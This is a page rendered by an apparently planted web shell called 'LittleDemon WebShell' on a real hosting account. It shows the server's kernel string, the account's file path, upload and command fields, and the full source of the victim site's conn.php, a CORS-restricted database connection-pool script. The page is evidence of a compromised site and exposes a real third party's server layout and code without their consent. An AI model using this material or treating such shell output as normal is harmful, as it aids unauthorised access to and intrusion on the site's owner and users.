LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/domains/cdn.urbanpillar.in/public_html/
File Upload :
Command :
Current File : /home/u901718425/domains/cdn.urbanpillar.in/public_html/conn.php

<?php

$return= "/";
$allowedDomains = array(
    'https://urbanpillar.in',
    'https://www.urbanpillar.in',
    'https://urbanpillar.com',
    'https://www.urbanpillar.com',
    'https://panel.urbanpillar.in',
    'https://dashoard.urbanpillar.in',
);

// Check if the requesting origin is in the list of allowed domains
if (isset($_SERVER['HTTP_ORIGIN']) && in_array($_SERVER['HTTP_ORIGIN'], $allowedDomains)) {
    // Set the Access-Control-Allow-Origin header to the requesting origin
    header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
} else {
    // If the requesting origin is not in the list of allowed domains, do not allow access
    header('HTTP/1.1 403 Forbidden');
    exit;
}

// Set other necessary CORS headers
header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');
header('Access-Control-Allow-Headers: Content-Type');
header('Access-Control-Max-Age: 86400'); // 1 day (optional, specify cache time for preflight requests)
header("Content-Type: application/json");


class ConnectionPool {
    private $connections = [];

    public function __construct() {
        $dsn = 'mysql:host='.getenv('DB_HOST').';dbname='.getenv('DB_DATABASE');
        $username = getenv('DB_USERNAME');
        $password = getenv('DB_PASSWORD');

        for ($i = 0; $i < 10; $i++) {
            $pdo = new PDO($dsn, $username, $password);
            $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            $this->connections[] = $pdo;
        }
    }

    public function getConnection() {
        if (!empty($this->connections)) {
            return array_pop($this->connections);
        }

        return null; // No available connections
    }

    public function releaseConnection($connection) {
        $this->connections[] = $connection;
    }

    public function closeAllConnections() {
        foreach ($this->connections as $connection) {
            $connection = null;
        }
        $this->connections = [];
    }
}




function work($sid,$work_id, $work){
    $pool = new ConnectionPool();
    $connection1 = $pool->getConnection();
    date_default_timezone_set("Asia/Calcutta");
    $date = date_create();
    $date = date_format($date,"Y-m-d H:i:s");
    try{
        $sql ="SET @max_id = (SELECT MAX(`id`) FROM `work_history`);
        INSERT INTO `work_history`(`id`, `sid`,`work_id`, `work`, `date`) VALUES (@max_id + 1, ? , ? , ? , ?)";
        $stmt = $connection1->prepare($sql);
        $results = $stmt->execute([$sid,$work_id,$work,$date]);
    } catch (PDOException $e) {
        // Handle any connection or query errors
        $res[0] = 'error';
        $res[1] = $e;
    } finally {
        // Release the connection back to the pool
        $pool->releaseConnection($connection1);
    }
    
    
}

?>

LittleDemon - FACEBOOK
[ KELUAR ]